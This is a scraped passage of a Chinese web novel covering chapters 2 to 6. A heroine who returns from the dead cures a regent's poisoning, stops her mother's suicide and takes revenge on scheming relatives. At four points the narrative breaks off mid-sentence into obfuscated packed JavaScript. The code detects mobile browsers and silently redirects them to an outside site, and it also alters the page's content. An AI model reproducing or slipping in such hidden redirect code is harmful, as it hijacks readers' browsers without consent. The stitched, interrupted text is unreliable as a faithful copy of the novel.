《毒妃重生:病娇摄政王夜夜求贴贴》 第二章 被王爷救出来 柳映雪转过身,正要开口,突然一阵寒风袭来。她这具身子本就虚弱,又在寒风中站了这么久,终于支撑不住,身子一软就要倒下。 王爷眼疾手快,一把扶住她。入手的温度冰凉,仿佛握着一块寒冰。 “王爷小心!”绿竹惊呼,“她该不会真是...” 话未说完,就见柳映雪抬起头,虚弱地说道:“我好冷...好饿...” 王爷皱眉,这才发现她的嘴唇已经冻得发紫,整个人都在微微发抖。 他解下自己的斗篷裹在她身上,然后一把将她抱起。 “回摄政王府。”他沉声道。 “王爷!”绿竹急道,“这女子来历不明,万一...” “她若真是鬼,”王爷淡淡地说,“又何必说冷说饿?” 绿竹语塞,只得跟上。其他侍卫面面相觑,也只能紧随其后。 马车上,柳映雪裹着斗篷,小口小口地喝着暖身的姜汤。这具身子实在太弱了,稍微动一动就觉得浑身无力。 王爷坐在对面,目光灼灼地盯着她:“现在可以说了么?” 柳映雪放下碗,正色道:“我叫柳映雪。” “柳映雪已死。”王爷冷冷地说。 “是啊,”柳映雪笑了笑,“我确实**。不过又活过来了。” 王爷眯起眼睛:“你觉得本王会相信?” “信不信由你,”柳映雪耸耸肩,“反正我现在又冷又饿又累,实在没力气解释那么多。” 说着,她往角落里缩了缩,闭上眼睛假寐。其实她心里也在打鼓,不知道这位王爷到底想干什么。 按理说,一个死而复生的人,不是应该立刻抓起来审问么? 可他非但没有为难自己,反而还给了斗篷和姜汤。这可不像传闻中那位冷血无情的摄政王啊。 柳映雪正想闭眼休息一下,王爷突然就口吐黑血。 柳映雪马上帮王爷号脉,发现他**颇深。 她在心底暗暗思忖,“明知**,还敢在这深山老林里逗留。” “真是个怪人。”她轻声嘀咕,“这种剧毒,普通人早就痛得满地打滚了。” 绿竹神色焦急:“王爷!” 那位王爷微微抬手,示意他不必慌张:“无妨。” 柳映雪看得分明,那位王爷虽然表面镇定,但眼底已经开始泛起血丝。若再拖延下去,怕是真要出事。 “啧啧,王爷真是沉得住气。”她边走边说,“身中剧毒还能面不改色地说话,当真令人佩服。” 柳映雪从袖中取出一枚圆润的丹药:“看在你救我一命的份上,这颗解毒丸就当是报答了。” “王爷不可!”青衣男子连忙阻拦,“我去给您请神医过来,还请王爷稍待片刻。” “等你们的神医到了,只怕人都凉透了。”柳映雪冷笑一声,目光在王爷苍白的面容上扫过,“最多一盏茶的功夫,毒素就会攻心,到时候七窍流血而亡,谁都救不了。” “大胆!”青衣男子勃然大怒,“竟敢咒骂王爷!” “绿竹退下。”王爷淡淡开口,“没有本王命令,不得多言。” 绿竹只得悻悻退到一旁,目光依旧警惕地盯着柳映雪。 “姑娘既能看出本王**,可知是何毒?”王爷开口问道。 柳映雪仔细打量着他。她的目光微动:“最致命的是一天前中的剧毒,至于其他的..我还.得继续细细把脉才知道。” 她又一次轻轻搭上脉门,闭目凝神。 随着时间推移,她的眉头越皱越紧。绿竹在一旁看得心惊肉跳,生怕这个来历不明的女子会对王爷不利。 “二十种毒。”良久,柳映雪缓缓吐出四个字,“从小到大,陆陆续续被人下毒,直到十四岁才停。” 绿竹闻言大惊,下意识看向自家王爷。他跟随王爷多年,却从未听说过这等惊人之事。 “这些年虽有人调理,但都是治标不治本。”柳映雪继续道,“最近服用的药反而打破了体内的平衡,若不及时解毒,恐怕会走火入魔,最后沦为废人。” 王爷神色不变,只是眸光微动:“那这解毒丸...” “可保你半年无虞。”柳映雪说着,手中的丹药在月光下泛着莹润的光泽,“不过二十种毒需一并解除,否则会更麻烦。这种情况,我还是第一次见。” 王爷毫不犹豫地接过丹药服下。片刻后,他只觉丹田处暖意融融,一股前所未有的轻松感涌遍全身。 十八年来积压的沉重感似乎在这一刻得到了些许缓解。 柳映雪继续说道,“给我个能找到你的信物就行。半年后,我自会去找你。” 王爷沉吟片刻,取出一枚令牌:“这是咱们王府的信物,本王萧寒瑾。” 柳映雪接过令牌,随口问道:“城内怎么走?我在这鬼地方转了大半天,连个人影都没见着。” 最后由绿竹护送她入城。 一路上,绿竹都很警惕。但王爷既然下了命令,他也只能照做。 直到绿竹离去,柳映雪才猛地想起什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505468|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,差点一个踉跄。她扶着城墙,脑海中闪过方才那人的容貌。 萧寒瑾...青云国那个传说中心狠手辣的摄政王? 她摸了摸手中的令牌,回想起那人清冷的眉眼。 “必须尽快赶到柳府。”她喃喃自语,加快脚步。 街道两旁的店铺都已关门,偶尔有巡夜的更夫经过,看到她这副模样,也是吓得躲得远远的。 拐过几条街,远远望见一座气派的宅院。门前飘扬的白幡在夜风中摇曳。 那是柳府,也是原主生活了十六年的地方。 她走上前,抬手叩响了门环。“咚咚咚”的声响在寂静的夜里格外清晰。 片刻后,一个打着哈欠的小厮开了门。“这么晚了,谁啊......” 话未说完,小厮举着灯笼照到她脸上,顿时双眼圆睁,张大嘴巴却发不出声音,直挺挺地晕了过去。 “胆子倒是不大。”柳映雪轻笑一声,跨过小厮径直入内。 庭院里一片寂静,只有风吹过树叶的沙沙声。 按着记忆中的路线,她快步向芳菲院行去。 路过花园时,一阵冷风吹来。曾经繁花似锦的园子,如今杂草丛生,荒凉得令人心惊。 “看来母亲失宠后,连园子都无人打理了。”柳映雪眼中满是心疼。 芳菲院的院门大开着,竟连个守夜的丫鬟都没有。往日里伺候的丫鬟婆子不知去向,整个院子冷清得可怕。 “怕是都去巴结二夫人了。”柳映雪冷笑,“这些见风使舵的东西。” 推开房门的瞬间,一股浓重的炭火味扑面而来。柳映雪瞳孔骤缩,只见一道身影正站在凳子上,纤细的脖颈即将套入绳圈之中。 “娘亲!”她惊呼出声。 那人闻声回头,目光呆滞,脸上还挂着未干的泪痕:“雪儿,又是你吗?今日我已经见过你好多次了......” 柳映雪环顾四周,房内烟雾缭绕。一个炭盆中还有未燃尽的纸张,散落的银票碎片随处可见。空气中弥漫着一股焦糊味,呛得人喉咙发痒。 “那是娘为你烧的银票,十几万两,怕你在那边用不够......”女人喃喃自语,眼神涣散,“别担心,娘这里还有三十万两,一会就来陪你......” 柳映雪心头一震,原主的死对母亲的打击竟如此之大。 不等她多想,女人已经抬脚欲踢开凳子。 “娘亲住手!”柳映雪箭步上前,紧紧抱住了她的双腿,“是我,我真的回来了!” 第三章 回到柳府 女人低头凝视着她,颤抖的手轻抚上她的面庞。温热的触感让她瞬间泪如雨下,那双布满血丝的眼睛终于有了神采。 “雪儿......真的是你......” 她跌跌撞撞地下了凳子,一把将柳映雪搂入怀中,失声痛哭。 片刻后,她又突然挣脱开柳映雪的怀抱,跑到门外,对天连磕三个响头:“多谢老天爷将女儿还给我,我一定多烧些银票......” 柳映雪看着这一幕,既心疼又好笑。 她连忙上前扶住还要磕头的母亲:“娘亲别这样,地上凉。” “不凉不凉,”母亲握住她的手,生怕她会消失一般,“雪儿,你摸摸娘的手,是不是很暖和?娘这些日子一直在烧银票,就怕你在那边受冻......” 柳映雪鼻子一酸,将人扶回屋内:“娘,我们进去说话。” 屋内炭火未熄。柳映雪打开窗户通风,又将地上散落的银票收拾起来。 母亲坐在床边,目光一刻不离她。那眼神中既有狂喜,又带着几分惶恐,仿佛在确认眼前的一切是否是真实的。 “雪儿,你......你不会又要离开娘吧?”她小心翼翼地问。 “不会的,”柳映雪握住她的手,“我不会再离开了。” 母亲这才松了口气,却仍是紧握着她的手不肯松开。柳映雪看着她憔悴的面容,心中一阵酸楚。 这些日子,她一定很不好过吧。 “娘亲,你该休息了。”柳映雪轻声道。 “不,我不睡,”母亲执拗地摇头,强撑着疲惫的双眼,“我怕一睡醒你就不见了......” 柳映雪心中一暖,在床边坐下:“那我陪着娘亲,等你睡着了我再走。” 母亲这才勉强点头,却仍是紧握着她的手。 柳映雪轻轻点了娘亲的睡穴,看着朱氏渐渐沉入梦乡。 朱氏消瘦的脸庞笼罩在这片光影交错中,短短两日的时间,她已经瘦得不成样子,颧骨高耸,眼窝深陷。 “娘......”柳映雪喉头一哽,伸手轻轻抚过娘亲的脸颊。指尖触碰到的每一寸肌肤都让她心如刀绞。 她环顾四周,入目皆是破败。几案上落了薄薄的灰,就连床帐都已经褪了色。这偌大的芳菲院,竟连个伺候的丫鬟都没有。 “咚、咚、咚......”远处传来更夫打更的声音。 柳映雪站在窗前,望着院中那株早已枯萎的海棠。记忆中,它曾开得烂漫,是娘亲最喜欢的花。可自从那个女人进府后,连这株花都没了生机。 “司徒玉......”她咀嚼着这个名字,眼底浮现出刻骨的恨意。 那个女人,不过是父亲年少时的一段露水情缘。可她却凭借着背后的权势,硬生生挤进了丞相府,还得了个前所未有的“二夫人”名分。 更可笑的是,她那位丞相父亲,当年不过是个穷书生。若非朱家资助,他连进京赶考的盘缠都拿不出。可他一朝得势,就把曾经的恩情抛诸脑后。 “呵。”柳映雪冷笑一声,“新人在怀就忘了旧人泪,这世间最是无情帝王家,其次便是这些当官的了。” 夜风吹起窗帘,带来不远处长春院的声响。 “母亲,那个小**总算**!”柳书兰尖细的嗓音传来,“眼下我可算是丞相府里的独苗苗了。” “当然,我的书兰这么出色,又有外祖父做靠山,哪是那商户女能比的。”司徒玉得意的声音紧随其后。 “那三皇子的婚约......” “三皇子的婚事,我倒是听你爹提过。”二夫人端起茶盏,“那观星台的郭大人,整整算了三天三夜,说什么那小**与三皇子八字相合,是什么凤女之相。” 茶香袅袅升起,二夫人的声音里带着几分讥讽:“还说得此女便可统领天下,皇后娘娘一听,立马让皇上下了圣旨,等那小**及笄就要大婚。”她冷笑一声,“可惜啊,连及笄都没活到。” 柳书兰听得直摇头,掩着嘴笑个不停:“娘亲,那郭大人都六十多了,莫不是老糊涂了?就那小**,整日病恹恹的,连丫鬟都使唤不动,还统领天下?” 她想起那个总是躺在床上的大姐姐,不由得嗤笑出声:“整日装模作样,装得一副弱不禁风的样子,也不知道骗了多少人。” “可不是。”二夫人附和道,眼中尽是讥讽,“整日躺在床上,连下床都费劲,也不知那郭大人是怎么算的。怕不是收了好处,才胡说八道。” 屋外忽然传来一阵急促的脚步声,打断了两人的谈话。 “二夫人,老爷回府了。”丫鬟在门外轻声禀报。 二夫人连忙吩咐道:“让他来我这儿吧,我早就给他准备好了醒酒汤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505469|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她转头看向柳书兰,“兰儿,你先回去吧。” “女儿知道了。”柳书兰起身,“娘亲记得问问爹爹三皇子婚事的事。” “放心。”二夫人微微颔首,眼中满是宠溺。 柳书兰行了礼,转身离去。她的身影婀娜多姿,举手投足间尽显大家闺秀的气质。二夫人看着女儿的背影,眼中满是欣慰。这才是真正的大家闺秀,不像那个整日病恹恹的... 想到这里,二夫人眼中满是阴冷。 府门外,醉醺醺的柳丞相从马车上踉跄而下。今晚与同僚饮酒作乐,那些奉承的话听得他心花怒放,连花销都一并结了。 酒意上涌,他的脸上泛着红晕。 然而就在他准备进府时,却见大门大开,守门小厮倒在地上,面色惨白,浑身发抖。 “怎么回事?”柳丞相皱眉,酒意稍退。 司叔连忙上前查看,掐了掐小厮的人中。 小厮悠悠转醒,却仍是一副惊魂未定的模样:“大、大小姐...大小姐又回来了...” 此话一出,柳丞相只觉得一股寒意从脚底窜上来,酒意瞬间消散了大半。 司叔见状,立刻给了小厮一记耳光:“胡说什么!” 小厮这才回过神,连连磕头:“小的该死,小的该死...是小的眼花了...” “相爷,他怕是太累了。”司叔打圆场道,“今日又是大小姐下葬,出现幻觉也是正常。” 柳丞相看了眼门口飘荡的白幡,只觉得刺眼。他沉声道:“既然下葬了就把白幡撤了,晦气。你也不必再守门了,司叔给你另派差事。” 刚进府,就见二夫人的丫鬟小竹迎上来:“二夫人备了醒酒汤,请相爷过去。” 柳丞相点点头,跟着小竹往长春院走去。 一路上,他总觉得背后凉飕飕的,仿佛有人在注视着他。每次回头,却又什么都没有。 到了长春院,二夫人亲自相迎。她刚要说话,却闻到丞相身上浓重的胭脂味,脸色僵了僵,很快又恢复如常。 “相爷辛苦了,妾身准备了醒酒汤和养胃汤。”二夫人柔声说道 “夫人有心了。”柳丞相很是受用,“今晚就在这歇息吧。” 二夫人闻言大喜,连忙张罗着让丫鬟准备沐浴更衣。她亲自伺候着柳丞相喝下醒酒汤,动作轻柔,无微不至。 第四章 摄政王府 与此同时,摄政王府的书房内灯火通明。 萧寒瑾端坐在雕花檀木案前,他眉头微蹙,眸光冷冽如霜。 “皇兄这是坐不住了。”他轻笑一声,“整个青云国,除了那位多疑善妒的皇兄,还有谁敢与本王为敌?” 绿竹站在一旁,神色凝重。烛光映照下,他的面容显得格外严肃:“王爷,那些追杀的人...” “全部杀了。”萧寒瑾语气淡漠,“把尸体送去明理阁,就说本王遭遇暗杀。明理阁卿不是皇兄的走狗吗?想必很快就会把消息传进宫里。” “是。”绿竹领命,却没有立即退下。他的目光闪烁,欲言又止。 萧寒瑾察觉到他的犹豫,修长的手指停下敲击的动作,挑了挑眉:“还有事?” “王爷问的那位姑娘...”绿竹小心翼翼地开口,观察着主子的神色变化。 萧寒瑾眸光一凝,周身气息骤然一变:“查到了?” 绿竹心中暗暗吃惊。以往那些想攀附王爷的闺秀们,王爷连看都不看一眼,今日居然主动过问一个姑娘的身份,着实罕见。 他不由得多打量了主子几眼,发现王爷神色如常,只是眼底似乎藏着几分说不清道不明的情绪。 “是柳丞相的嫡长女。”绿竹道,“据说一直卧病在床,很少露面。她出身于江南赫赫有名的商贾家族,在京城颇有议论。” “柳丞相的女儿?”萧寒瑾眸光微动。 “还有...”绿竹迟疑片刻,斟酌着用词,“柳家千金曾与三皇子有婚约。只是她突然病逝,宫里打算改由柳二小姐嫁给三皇子。” 话音刚落,绿竹打了个寒颤,不敢再多言。自从服用了那位柳大小姐的解毒丸,王爷的内力不但恢复,似乎还更胜从前。 “皇后已经下令让御笔亲拟诏书,婚约将在明日正式宣告作废,改由柳二小姐嫁给三皇子。”绿竹补充道,声音越来越低。 萧寒瑾冷笑,眼底寒意更甚:“皇后倒是打得好算盘,想借柳府的财力为三皇子铺路。” 他想起今日在墓地遇到的那个女子:“绿竹,你说人**还能复生吗?” “属下也觉得蹊跷。”绿竹道,“当日柳大小姐确实已经断气,柳府大夫人哭得几次昏厥。可谁知道她又活了过来...” “有趣。”萧寒瑾若有所思,“明日,本王倒要看看柳府会如何收场。” 与此同时,柳府内。 “雪儿!我的雪儿!”凄厉的哭喊声惊起了院中栖息的夜鸟。 柳映雪猛地惊醒,映入眼帘的是母亲朱氏惨白的面容。 “娘亲,我在这里。”她连忙握住母亲的手,感受到掌心传来的颤抖。 朱氏这才回过神来,一下子紧紧抱住了女儿,泪水打湿了柳映雪的衣襟:“雪儿,没想到你竟然还活着?娘不是在做梦?” “娘亲别哭了。”柳映雪轻声安慰,心中泛起阵阵酸楚。她轻轻拍着母亲的后背,就像小时候母亲安慰她那样。 待朱氏稍稍平静,她才红着眼圈问道:“雪儿,你居然能从九泉之下活过来?” 柳映雪暗自叹气。她看着母亲憔悴的面容,心中一阵绞痛。 总不能说自己是借尸还魂吧?那非得把娘亲吓坏不可。 她清了清嗓子,编起故事来:“我做了一个梦,梦见一位白须老者带我游历仙境,还传授我医术。后来他说我命不该绝,就把我送回来了。我醒来时在棺材里,幸好遇到一位王爷救了我。” 朱氏越听越是欣喜,眼泪却流得更凶了:“这是佛祖显灵,把我的雪儿还给我了!” 说着就要去佛堂上香。她拉着柳映雪的手,脚步虚浮地往外走。 柳映雪无奈,只得跟着跪下磕头。 她在心里默默念叨:“佛祖啊佛祖,既然你把我送到这个世界,就帮我报仇雪恨。那个害死我的人,让她不得好死,让她家破人亡...” 佛像前的香烟似乎晃动了一下,柳映雪心头一颤。 “雪儿,你在说什么?”朱氏问道。 “没什么,”柳映雪挤出一抹笑容,“我在求佛祖保佑我们平安。” 夜色更深了,柳府的灯火渐次熄灭。 柳映雪躺在床上,望着帐顶发呆。 “也不知道他是哪位王爷...”柳映雪喃喃自语。 就在这时,窗外传来一阵窸窣声。柳映雪警觉地坐起身,借着月光,她看到一个黑影闪过。 “谁?”她轻声问道。 没有回答。只有夜风吹动树叶的沙沙声。 她正要关窗,忽然发现窗台上放着一个小小的香囊。香囊上绣着一朵墨色牡丹,针脚细密,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505470|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然出自名家之手。 柳映雪拿起香囊,一股淡淡的檀香飘来。她心中一动,想起今日在墓地时,那位王爷身上似乎就有这样的香气。 芳菲院的庭院里,一片寂静。 朱氏坐在软榻上,望着眼前这个活泼可爱的女儿,心中涌起一阵暖意。这样的雪儿,比从前更加鲜活灵动。 “娘亲,您该休息了。”柳映雪小心翼翼地扶着母亲躺下,替她掖好被角。 朱氏拉住女儿的手:“雪儿,究竟是哪位王爷救了你?我们得好好感谢才是。”她的声音里带着几分急切,想要知道究竟是谁救了自己的女儿。 “是摄政王。”柳映雪轻声回答。 “摄政王?”朱氏惊讶地坐直了身子,眉头微皱,“传言他心狠手辣,怎会...”她的话还未说完,便被女儿打断。 柳映雪轻笑着摇了摇头:“娘亲,那些不过是以讹传讹罢了。谁亲眼见过他**?再说,若真是心狠手辣之人,又怎会救我?” 朱氏若有所思地点点头,:“你说得对,日后若有机会,我们定要当面道谢。” “一定会有机会的。”柳映雪顿了顿,试探着问道:“娘亲,您...还在意父亲吗?” 屋内的气氛瞬间凝固。朱氏的脸色阴沉下来:“在意?呵,年轻时或许吧。若不是我手中还有些家财可供他挥霍,只怕早就被休了。”她的声音里带着浓浓的讽刺,继续说道:“三年了,他连这院子的门都不曾踏进一步。他还说此生只对我一人好。如今呢?府中莺莺燕燕,连你下葬那日他都未曾露面。” 柳映雪看着母亲眼中的失望与心寒,心中了然。既然母亲已对那人死心,她便可以放手去做了。 她轻轻握住母亲的手:“娘亲,从今往后,您的银钱不要再贴补府中了。” “放心,我早就看透了。”朱氏叹了口气,“管家权不在我手,每月二夫人都要十几万两贴补。这些钱,我要留着给你做嫁妆。” “十几万两?”柳映雪倒吸一口凉气,“这么多?府中究竟是怎么花的?” 朱氏冷笑一声,起身走到窗边:“你父亲那点俸禄,哪够养活这一府上下?光是应酬就要花大笔银子。更别提那些姨娘小妾,还有二房的儿女。二夫人虽是官家女,却是庶出,若没有我的银子,我看她拿什么撑起这个府。” 第五章 中了慢性毒 柳映雪暗暗佩服母亲的精明。她轻声说道:“娘亲,您知道吗?我查出来,我从前身上其实中了慢性毒。” “什么?”朱氏猛地转身,惊恐地打量着女儿,“怎么会这样?是谁下的毒?”她的声音因为愤怒而微微发抖。 “别担心,白须老者已经治好了我。”柳映雪连忙安慰道,“现在我很好。” 朱氏从怀中掏出一叠银票,塞到女儿手中:“雪儿,这些你拿着。想买什么就买什么,娘不差钱。” 柳映雪看着那叠原本该“陪葬”的银票,心中一暖,紧紧抱住了母亲:“娘亲,我一定会好好孝顺您的。” “傻孩子...”朱氏红了眼眶,声音哽咽,“娘就剩下你了。” “有我在,您就放心吧。”柳映雪笑道,“等过些日子,我们买几个得力的丫鬟来伺候您。我要让娘亲做青云国最尊贵的夫人。” 朱氏被逗笑了,轻轻拍了拍女儿的手:“你呀,就会说这些话哄我开心。” “娘亲您先歇着,我去找人伺候您梳洗,再去厨房拿些吃的来。”柳映雪扶母亲躺下,转身离去。 望着女儿渐行渐远的纤细身影,朱氏眼中闪过寒光。 她终于明白为何女儿来到京城后便一病不起。既然有人敢对她的女儿下手,那就别怪她不客气了。 柳映雪走在回廊上,想起母亲刚才的神情,心中暗暗叹息。她知道,母亲这些年在府中受了太多委屈。那些表面上的恭敬,背地里的算计,她都看在眼里。 走到厨房门口,她听见里面传来窸窸窣窣的声音。推门进去,只见几个丫鬟正在忙碌。见到她来,都连忙行礼:“大小姐。” “给我准备些清淡的粥,再配些小菜,送到芳菲院去。”柳映雪吩咐道。 “是,大小姐。”丫鬟们应声。 柳映雪转身离开厨房,漫步在丞相府的青石小径上。她哼着小曲,向聚祥院走去。一路上,府中下人见到她无不尖叫逃窜。 暗处,摄政王站在一棵老槐树上,饶有兴致地看着这一幕。 “有意思。”他低声自语,目光始终追随着那道身影。 来到聚祥院,柳映雪冷眼看着门匾上的“集福”二字。阳光下,那金漆已经有些剥落,显得格外刺眼。 “集煞还差不多。”她冷哼一声,推门而入。 老太君正在用膳,桌上摆着各式精致点心。看到突然出现的柳映雪,她手中的筷子应声落地,发出清脆的响声。 “祖母安好。”柳映雪福了福身,语气温柔似水。 白嬷嬷战战兢兢地问:“大小姐,您是...是人是鬼?” 柳映雪走到她面前,拿起她的手,“嬷嬷自己摸摸看啊。” 冰凉的触感让白嬷嬷当场昏厥。而老太君也随即倒地不起,茶盏打翻,茶水洒了一地。 摄政王站在老槐树上,目光落在下方的一幕。寒风呼啸,树枝摇曳,他的身影隐没在斑驳的树影中。 他看着那个胆大包天的姑娘,嘴角不自觉地勾起一抹笑意。这个柳家大小姐,不仅胆大,还颇有智谋。整个青云国,怕是再找不出第二个如此有趣的女子了。 那雪球的把戏,他可是看得一清二楚。她是如何巧妙地将雪球藏在袖中,又在恰到好时机将其砸向那些下人。那些人被砸得措手不及,惊慌失措的模样,着实令人忍俊不禁。 堂屋内,柳映雪望着倒在地上的白嬷嬷和祖母。 昨夜娘亲差点上吊,这些人却无动于衷。院中的丫鬟更是被收买一空,无人通报。 “白嬷嬷,你说你怎么这么不小心呢?”柳映雪蹲下身,“这药茶里的料,可是你自己放的。” 白嬷嬷躺在地上,眼皮微微颤动,却无法开口说话。她心中暗暗叫苦,没想到自己精心准备的药茶,竟然被这丫头给算计了。 柳映雪站起身,在屋内来回踱步。她摸着下巴思索着该如何惩治这两人。下毒?不妥。这老太婆身子骨脆弱,万一一命呜呼,她还找谁玩? 忽然,一阵寒风从窗缝中钻入,她眼前一亮。 寒雪腊月,正是时候。 她迅速灭了房中的火盆,将窗户大开,门帘掀起。冷风呼啸而入,屋内温度骤降。以她估算,丫鬟们最多两盏茶的功夫就会发现,这点时间冻不**。 为了让效果更好,她直接将两人拖到了门口。寒风呼啸而入,她满意地点点头。 “这样应该够凉快了。”她轻声自语,“让你们也尝尝,当初原主卧病在床是什么滋味。” 做完这一切,柳映雪转身欲走。她的脚步突然一顿,目光直指树上:“阁下看戏可还尽兴?” 萧寒瑾一惊。他堂堂摄政王,竟被一个小姑娘发现行踪? 他轻盈落地,玄色衣袍随风飘动,宛如谪仙。月光为他镀上一层银辉,更添几分出尘之气。 “王爷这是打算在下人们发现前离开?”柳映雪挑眉,“还是说,想留下来看看热闹?” 萧寒瑾打量着眼前的女子。她眼中既无崇拜,也无恭敬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505471|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛在她眼里,世人皆平等。这种特质,在养尊处优的权贵圈子里,着实罕见。 “你很特别。”他直言道,目光中带着几分探究。 柳映雪却不为所动:“王爷若无要事,我还要去给娘亲准备早膳。” 说罢,她转身就走。远处传来丫鬟的脚步声,萧寒瑾身形一闪,消失在树影中。 柳映雪暗自羡慕他的轻功,但现在她只能按捺住恢复武功的渴望。她低头看了看自己的手,这具身体还需要时间适应。 来到厨房,下人们见她便四散奔逃。显然,“大小姐鬼魂索命”的谣言已经传遍了府中。有人躲在角落里窃窃私语,又在对上她的目光时慌忙低头。 她也懒得解释,直接查看灶台。各种补品琳琅满目,显然是为了那个所谓的父亲准备的。山参、燕窝、鹿茸,一应俱全,光这些东西的价值就够普通人家过上几年了。 她冷笑一声,将好东西装入食盒,又暗中收了一些入空间。 剩下的补品,她一一下了药。虽不致命,但足以让那些姨娘小妾吃尽苦头。 想到满府的人都靠着娘亲过活,却无人照料娘亲,她心中怒火翻涌。但现在不是报仇的时候,她得耐心等待。 厨房里,一个小丫鬟战战兢兢地端着茶盘经过。见到柳映雪,她吓得差点将茶盘摔在地上。 “怎么,见了我就这么害怕?”柳映雪似笑非笑地看着她。 小丫鬟连连摇头,却又不敢说话。她的手抖得厉害,茶盘上的杯子叮当作响。 “去吧。”柳映雪摆摆手,“记得告诉你家主子,这茶里的料,可是好东西。” 小丫鬟如蒙大赦,连忙逃也似的离开了。 柳映雪看着她的背影,嘴角勾起一抹冷笑。这些人,一个个都以为她是好欺负的。既然如此,那就让他们见识见识,什么叫真正的恐怖。 捧着热乎乎的饭盒准备离开。柳映雪脚步不停,继续向前走去。她知道,整个柳府上下,都将因为她的回归而震动。那些曾经欺辱过原主的人,一个都别想好过。 回到娘亲房中,她小心翼翼地将食盒放在桌上。娘亲还在熟睡,脸色苍白,眼下有着淡淡的青色。 昨夜的事情显然给她造成了不小的打击。 柳映雪轻手轻脚地为娘亲掖了掖被角,又在床边坐下。她握住娘亲的手,感受着那微弱的脉搏。 “娘,你放心。从今以后,我会保护你。”她轻声说道,“那些欺负过我们的人,一个都别想好过。” 第六章 老太君晕倒 就在这时,院子里传来一阵急促的脚步声。 “不好了!老太君和白嬷嬷晕倒在堂屋里了!” “快去请大夫!” “怎么回事?谁把火盆灭了?” 另一边。 柳丞相正在书房,忽然一阵阴风拂过,烛火剧烈摇曳。他下意识抬头,只见门口站着一个身着白衣的女子,面色苍白如纸,正用幽怨的目光望着他。 “啊!”柳丞相惊叫一声,手中的朱笔“啪嗒”掉在地上,整个人也从椅子上跌落。那白衣女子的面容,分明就是他那已经下葬的大女儿柳映雪! 府中的下人们听到动静纷纷赶来,却都止步于门外,没人敢进去。几个胆小的丫鬟已经吓得瑟缩在角落,双腿发软。 “大家都在干嘛呢?还不快来扶本相起来!”柳丞相怒喝道,声音里却掩饰不住的颤抖。 几个丫鬟这才战战兢兢地上前,小心翼翼地将他从地上搀扶起来。柳丞相坐回椅子上,揉了揉太阳穴,额头上的冷汗还未褪去。 “大人,要不要让府医来看看?”管家弓着身子,小心翼翼地问道。 柳丞相摆了摆手,仔细回想方才所见。那分明就是他那个病秧子女儿的模样,绝非什么鬼魂作祟。 想到这里,他心中的怒火更盛,“砰”的一声,茶盏被他狠狠摔在地上。 “大小姐根本没死,为何无人禀报?她啥时候来的这个府里?你们这些废物是干什么吃的?” 管家额头冒汗:“老爷息怒,小的这就去查。” 二夫人司氏闻讯赶来,站在门口欲言又止。那**竟然没死,真是命大。这姑娘可真是引人注目,明明已经下葬了。 “老爷,您没事吧?”司氏莲步轻移,走到柳丞相身边,柔声问道。 柳丞相摇摇头:“无事。” 这时,柳书兰也跟着母亲来到书房。她刚站定,就看见角落里一抹白影闪过,顿时尖叫起来:“啊!有鬼!柳映雪的鬼魂回来了!” 司氏连忙走到女儿身边,轻轻掐了下她的人中:“兰儿,别怕,那是你大姐,不是什么鬼魂。” 柳书兰瞪大了眼睛,脸色煞白:“娘,大姐真的没死?可她明明已经下葬了啊!” “是啊,”司氏意味深长地看了眼柳丞相,“下葬之人怎会活着回来?而且她一直卧病在床,如今却能行走自如,这其中恐怕...”她故意拖长了声音,“有些不干净的东西。” 柳丞相眉头紧皱,正要说话,忽然一个丫鬟慌慌张张地跑来:“老爷!不好了!老太君晕倒了!” “什么?”柳丞相猛地站起身,“怎么回事?白嬷嬷呢?” “白嬷嬷也晕过去了!”那丫鬟抹着眼泪,“我们进去时,老太君和白嬷嬷都倒在地上,屋里冷得吓人!” 柳丞相立刻往老太君院里赶去,一路上脸色越发难看:“可有人见过是谁去过老太君院子?” “回老爷,今早看见大小姐去过。”跟在后面的丫鬟小声答道。 司氏和柳书兰对视一眼。 